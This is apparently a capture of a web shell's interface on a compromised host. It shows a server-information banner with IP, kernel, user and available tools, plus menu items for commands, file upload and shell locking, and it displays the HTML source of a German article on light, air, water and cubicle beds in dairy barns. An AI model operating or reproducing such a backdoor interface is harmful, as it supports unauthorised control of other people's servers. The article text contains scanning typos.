gzuncompress
|
Server IP : 172.19.0.3 / Your IP : 216.73.216.178 Web Server : Apache/2.4 System : Linux 880f91b28fd7 5.15.0-117-generic #127~20.04.1-Ubuntu SMP Thu Jul 11 15:36:12 UTC 2024 x86_64 User : tomlinde ( 155017) PHP Version : 5.6.40 Disable Function : dl, syslog, opcache_get_status MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/webpages/lima-city/tomlinde/html/Uebersetzungen/../Freenet/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Haus Riswick</title> </head> <body bgcolor="ccddfa"> <p><font size="4" face="Arial"><b><u>Licht, Luft, Wasser und ein komfortables Bett</u></b></font></p> <p><font face="Arial"><b>Elementare Verbesserungen im Kuhstall </b>von Norbert Heiting, Haus Riswick</font></p> <p><font face="Arial">Das Interesse und die Bereitschaft vieler Milchviehhalter zur Optimierung der Haltungsbedingungen bei Neu- und Umbauten hat in jüngster Zeit einen hohen Stellenwert erlangt. In diesem Beitrag sollen Entscheidungshilfen zur Verbesserung der Licht- und Luftverhältnisse sowie der Tränkwasserversorgung angeboten werden.</font></p> <p><font face="Arial">Trübe Herbst- und Wintertage gehen vielen Menschen aufs Gemüt. Ausgelöst wird dieses Phänomen durch das Hormon Melatonin, das bei Dunkelheit aus der Zirbeldrüse der Epiphyse ausgeschüttet wird. Licht hingegen verringert die Bildung von Melatonin, wodurch in der Leber eine erhöhte Bildung von insulinartigem Wachstumsfaktor (IGF-1) ausgelöst wird. Beim Menschen führt dies zu höherer Aktivität und Lebensfreude. Übertragen auf die Tierwelt sind zahlreiche Beispiele bekannt, wo Lichtprogramme sich positiv auf die Leistungssteigerung auswirken. Im Geflügelsektor werden seit Jahrzehnten Beleuchtungsprogramme zur Aktivierung der Eierstockfunktion und damit zur Verbesserung der Legeleistung genutzt. Auch bei Sauen wird Licht eingesetzt, um die Rausche zu stimulieren. In der Schafhaltung kann mit Lichtprogrammen die biologische Uhr manipuliert werden, so dass z. B. bei Texelschafen, die normalerweise saisongebunden im Herbst gedeckt werden können, im Frühjahr die Brunst induziert werden kann. Dadurch ist eine dreimalige Ablammung in zwei Jahren möglich.</font></p><br> <p><font color="#0000dd" face="Arial"><b><u>200 Lux Im Milchviehstall</u></b></font></p> <p><font color="#0000dd" face="Arial">In der Milchviehhaltung wurde bislang die richtige Beleuchtung als steuerbarer Umweltfaktor häufig übersehen und bei Planung, Bau und Betrieb von Milchviehställen kaum berücksichtigt. Die durch Licht erhöhte Bildung von insulinartigem Wachstumsfaktor (IGF-1) bewirkt in der Milchdrüse die Milchleistungssteigerung. Aus internationalen Untersuchungen geht hervor, dass durch Verlängerung des Tageslichtes mit künstlichem Licht auf 16 bis 18 Stunden während der Herbstunden Wintermonate die Milchleistung um 10 -12 % gesteigert werden kann. Die Beleuchtungsstärke, gemessen mit dem Luxmeter, wird mit 100 bis 300 Lux angegeben. Es ist eine Lichtstärke, die zum Lesen einer Zeitung ausreicht. Empfohlen werden Natrium-Hochdrucklampen und Quecksilberdampf-Hochdrucklampen, die eine hohe Zuverlässigkeit, sehr hohe Lebensdauer und gute spektrale Eigenschaften besitzen. Die Lampen sollten dort angebracht werden, wo sich die Kühe am häufigsten aufhalten. Entscheidend dabei ist auch die Höhe des Gebäudes, um einen günstigen Lichtkegel zu erhalten. Es empfiehlt sich, von einer Elektrofirma ein Diagramm erstellen zu lassen, um aufzuzeigen, wie die Lampen aufgehängt werden müssen. In Haus Riswick wurden im vierreihigen Fütterungsversuchsstall (45 x 26 m) mit 100 Kühen 8 Hochdrucklampen mit je 400 Watt installiert. Die mit dem Luxmeter ermittelte Beleuchtungsstärke liegt abends direkt unter der Lampe im Kuhbereich bei 225 und zwischen den Lampen bei 135 Lux. Von 22.00 Uhr bis 05.00 Uhr bleibt eine Notbeleuchtung an. Die Dunkelphase ist einzuhalten, um den Tieren Ruhe zu gönnen. In Haus Riswick wurden H Q L - Hallenleuchten (400 W) eingebaut. Zusätzlich sind die Kosten für die Installation und falls gewünscht, die dimmbaren elektronischen Vorschaltgeräte mit Lichtsensor im Stall zu berücksichtigen.</font></p><br> <p><font face="Arial"><b><u>Frischluft ohne Zugluft</u></b></font></p> <p><font face="Arial">Das Rind ist durch Stoffwechsel und Verhaltensreaktionen in der Lage, sich wechselnden Umgebungstemperaturen anzupassen, so dass eine Haltung in nicht gedämmten, aber zugfreien trockenen Ställen mit ausreichender Frischluftzufuhr und guten Lichtverhältnissen dessen körperliche Entwicklung, Gesundheit und Leistung fördert. Sei der Stallbauplanung sind diese verhaltensbiologischen Aspekte der Tiere mit optimalen Arbeitsbedingungen für den Menschen und möglichst geringen Baukosten in Einklang zu bringen. Natürlich belüftete Ställe werden somit in der Praxis immer mehr nachgefragt. Im Mittelpunkt des Interesses stehen dabei Offenställe, Ställe mit Windschutznetzen, mit Space-Board-Lüftung und in jüngster Zeit mit Curtains.</font></p> <p><font face="Arial">Im Einzelfall ist in Abhängigkeit vom Stalltyp zu Prüfen, weiche Lüftungsform gewählt werden soll. Die das Stallklima bestimmenden Faktoren sind:</font></p> <p><font face="Arial">• Anzahl und Art der aufgestellten Tiere</font></p> <p><font face="Arial">• Außentemperatur</font></p> <p><font face="Arial">• Luftfeuchtigkeit</font></p> <p><font face="Arial">• einströmende Außenluft</font></p> <p><font face="Arial">• Luftbewegung innerhalb des Stalles</font></p> <p><font face="Arial">• Schadgaskonzentration</font></p> <p><font face="Arial">• natürliche Lichtverhältniue</font></p> <p><font face="Arial">Diese Faktoren müssen optimal in Einklang gebracht werden.</font></p><br> <p><font face="Arial"><b><u>Die Freue nach der optimalen</u></b></font></p> <p><font face="Arial">Die Trauf-First-Lüftung ist in den Wintermonaten eine verlässliche Sache, wenn ein Temperaturunterschied zwischen Stall und Umgebung herrscht. In der wärmeren Jahreszeit reicht jedoch der Luftaustausch nicht aus, so dass eine großzügige Querlüftung angestrebt werden muss. Hinzu kommt, dass Kühe mit höherem Leistungsniveau mehr Wärme produzieren und mehr Wasserdampf abgeben. So hat eine Kuh mit 9000 kg Milchleistung den doppelten Luftbedarf wie eine Kuh mit etwa 6000 kg Milch. In diesem Zusammenhang sind Fachbeiträge zu interpretieren, die auf Grund der mangelnden Steuerung Windschutznetze und Space-Board-Lüftung als"Out" und Curtains (Vorhänge) als In % bezeichnen. Mit einem solchen Pauschalurteil muss man vorsichtig umgehen, da es weiterhin für Windschutznetze und Space-BoardLüftung interessante Anwendungsbereiche geben wird.</font></p> <p><font face="Arial">So sind z. B. dreireihige Boxenlaufställe, die zukünftig auf der gegenüberliegenden Seite das Futtertisches zwelreihig angeschleppt werden können, bei einer Traufhöhe von 7,50 m</font><font size="6" face="Arial"> </font><font face="Arial">vorübergehend beim mit Windschutznetzen abzuschirmen als mit Curtains. Gleiches gilt für die Space-Board-Lüftung, die einfach in Eigenregie anzubringen ist. Es ist eine robuste Lüftung, die insbesondere auch in Bullenmastställen Wie in Giebeldreiecken von Kuhställen interessant sein kann.</font></p> <p><font face="Arial">Bei diesen Lüftungssystemen spielt die Großflächigkeit eine entscheidende Rolle.</font></p> <p><font face="Arial">Im Rahmen von Umbaumaßnahmen haben diese Lüftungssysteme im Vergleich zur früheren Klappenlüftung erhebliche Verbesserungen im Stallklima gebracht.</font></p><br> <p><font face="Arial"><b><u>Curtains für Seitenlüftungssysteme</u></b></font></p> <p><font face="Arial">Aus USA stammend, gewinnen Curtains in der Gestaltung der Seitenwände in Milchviehställen zunehmend an Bedeutung. Bei den Curtains handelt es sich um eine helle Gewebeplane aus Polyester, die insbesondere in den Sommermonaten, durch entsprechende Wickeltechnik die Luftrate im Stall verbessern kann. Merkmal eines funktionssicheren Seitenlüftungssystems ist die Kombination eines grobmaschigen Windschutznetzes (2 cm²) oder anderer Verstrebungen zur ganzflächigen</font></p> <p><font face="Arial">Windlastenaufnahme und als Scheuerschutz in Kombination mit einer beweglichen Gewebeplane. Die bislang in der Praxis realisierten Varianten von Seitenlüftungssystemen sind vielfältig: sie reichen von der sogenannten Wickeltechnik bis zur Falttechnik. In der neuen Baulehrschau von Haus Riswick werden derzeit 6 verschiedene Fabrikate unter Praxisbedingungen getestet. Grundsätzlich öffnen sich die Curtains von oben nach unten. Bei einer Traufenhöhe von 3 m empfiehlt es sich, auf eine Sockelhöhe von mindestens 50 cm eine Wickellüftung oben öffnend* einzubauen, um die Seitenwand von 2,50 m schließen zu können. Unter der Traufe ist es empfehlenswert, auch im Winter eine Permanentöffnung vorzusehen, damit im geschlossenen Zustand der Stallinnenraum mit Frischluft versorgt wird. Diese Forderung muss auch bei der Wickelöffnung unten öffnend beachtet werden. Bei Seitenwänden über 3 m ist ein zweigeteilter Aufbau der Curtains bei Wickeltechnik notwendig. Sollen die Seitenwände komplett bis zum Sockel geöffnet werden, ist ein entsprechender Dachüberstand vorzusehen. Die Curtains können mit einfacher Handwinde oder mittels Getriebemotor auf die gewünschte Position gebracht werden. Die Kosten für die Curtains sind abhängig von der jeweils verwendeten Technik und liegen zwischen 70,- DM bis 110,- DM je m2 Es ist darauf zu achten, dass bei den Seitenlüftungssystemen die Abluft über entsprechende Firstöffnungen abzuleiten ist. Bewährt haben sich offene Firste, wobei die Öffnung 1,75 cm je in Stallbreite betragen soll und mit entsprechend hohen Windabweisern einen guten Kamineffekt erzielt.</font></p><br> <p><font face="Arial"><b><u>Frostsichere Wasserversorgung</u></b></font></p> <p><font face="Arial">In Außenklimaställen muss auch in Frostperioden ständig frisches und sauberesTränkwasser zur Verfügung stehen. Eine Kuh, die 30 Liter Milch täglich gibt, benötigt zwischen 90 und 140 Liter. Wasser pro Tag. Einen Teil des Wasserbedarfs deckt sie über das Futter. Wie groß dieser Anteil ist, hängt von der Trockensubstanz der Futtermittel und der Zusammensetzung der Ration ab, Bei ausschließlichem Weidegang kann mit 80 1 Wasser aus dem Gras und bei Winterfütterung mit etwa 20 1 Wasser aus der Futterration kalkuliert werden. Kühe möchten gerne in vollen Zügen saufen, sie können dann bis zu 25 l/min. aufnehmen, Ober 40 % der Tagesmenge werden jeweils nach dem Melken aufgenommen. Daraus resuliert, dass große Becken zur Verfügung stehen müssen, an denen mehrere Tiere gleichzeitig trinken können, um ihren Bedarf zu decken. Die vor 10 Jahren aus den USA eingeführten frostsicheren Balltränken können diese Forderung nicht erfüllen und verschmutzen zu leicht. Im Trend liegen heute frostsichere Kipptränken, die bei entsprechender Pflege, die Kühe quantitativ und qualitativ gut mit Trinkwasser versorgen.</font></p><br> <p><font face="Arial"><b><u>Komfortable Liegeboxen</u></b></font></p> <p><font face="Arial">Die Kuh stellt hohe Ansprüche an die Form und Größe der Liegebox sowie die Gestaltung der Liegefläche. Die Maße für eine Komfortbox sind mit 2,50 m Länge und 1, 15 m Breite anzugeben. Die Grundeinstellung für das Nackenrohr soll mindestens an der Unterkante 1,20 m hoch sein und horizontal von der Hinterkante 1,80 m entfernt sein. Es empfiehlt sich, eine abgerundete Bugschwelle, die einen Abstand von 1,90 m, von der Hinterkante gemessen, haben soll. Eine besondere Bedeutung kommt der Gestaltung der Liegefläche zu. Die Kuh verlangt ein Bett, das sich den Konturen des Tieres anpasst. Wurde früher vielfach die weiche eingestreute Tiefbox mit hoher Boxenkante favorisiert, ist in den vergangenen Jahren der Trend zur Hochbox mit Matten- bzw. Matratzenauflage und leichter Einstrau erkennbar. Der Hauptgrund für diese Entwicklung ist darin zu sehen, dass bei Tiefboxen mit hoher Kante dort oft Ausfluss infolge der Gebärmutterreinigung zu beobachten war, Aus hygienischen und arbeitswirtschaftlichen Gründen werden demzufolge Hochboxen mit 20 cm Höhe und 4 % Gefälle empfohlen. Das Angebot an Gummimatten, Abrollwaren und Matratzen ist sehr umfangreich und mit Kosten je Box </font></p> <p><font face="Arial">von 80,- DM bis 200,- DM anzugeben. Dem Trend zur weichen Matratze steht jedoch zur Zeit die zu kurze Garantie zur Haltbarkeit seitens der Hersteller gegenüber. Dies ist eine unglückliche Situation, so dass viele Praktiker die weitere Entwicklung auf dem Markt abwarten und die Hochbox mit einem 3 Zoll Rohr als Einstreuschwelle ausstatten und voll mit Sägemehl bzw. Häckselstroh einstreuen. Der Qualität des Sägemehls kommt besondere Bedeutung zu. Auf Matten und Matratzen ist grundsätzlich gesiebtes und gereinigtes Sägemehl zu verwenden. Nur so kann der Schmiergeleffekt vermieden werden, der zu Abschürfungen und Verdickungen der Sprunggelenke führt. Bei planbefestigten Laufgängen ist es empfehlenswert, eine Streuschwelle anzubringen, damit der Schwanz nicht in der Jauche liegt und zu erheblicher Verschmutzung führt. Die Liegezeit der Kuh sollte mindestens 12 Stunden betragen. Dies konnte in Wahlversuchen nur mit Weichbetten und Matratzen erreicht worden.</font></p> <p><font face="Arial">Die Sensibilität der Milchviehhalter das genetische Potential der Kühe durch Verbesserung der Grundelemente Licht, Luft und Wasser besser auszuschöpfen, um die Leistung zu steigern und die Gesundheit zu fördern, ist erfreulich groß. Die Landwirtschaftskammer Rheinland hat in Haus Riswick eine praktische Baulehrschau für Milchviehhaltung eingerichtet. Gemeinsam mit der Abteilung Bauen und Technik der Landwirtschaftskammer werden ergänzend zu den bisherigen Aktivitäten ab 2001 Bautagungen für interessierte Milchviehhalter monatlich in Haus Riswick angeboten.</font></p> <p><font face="Arial"></font> </p> <br> <p><font face="Arial">Haus Riswick erreicht man über die A 57 in Richtung Niederlande, Abfahrt Goch/Kleve, auf der B9 in Richtung Kleve, dann an der zweiten Kreuzung in Kleve rechts auf den Klever Ring abbieten, von hier in die Riswicker Straße und dann der Ausschilderung Haus Riswick folgen.</font></p> <p><font face="Arial"><b>Landwirtschaftszentrum<br> </b>Haus Riswick<br> Elsenpaß 5<br> 47533 Kleve<br> Telefon: 02821 / 99 6-0<br> Telefax: 02821 / 9 96 126<br> eMail: </font><a href="mailto:riswick@lwk-rheinland.nrw.de"><font face="Arial">riswick@lwk-rheinland.nrw.de</font></a><font face="Arial"> </font></p> <p><font face="Arial">Bürozeiten:</font></p> <p><font face="Arial">Mo-Do 9.00h – 15.00h</font></p> <p><font face="Arial">Fr 9.00h –13.00h</font></p> </body> </html>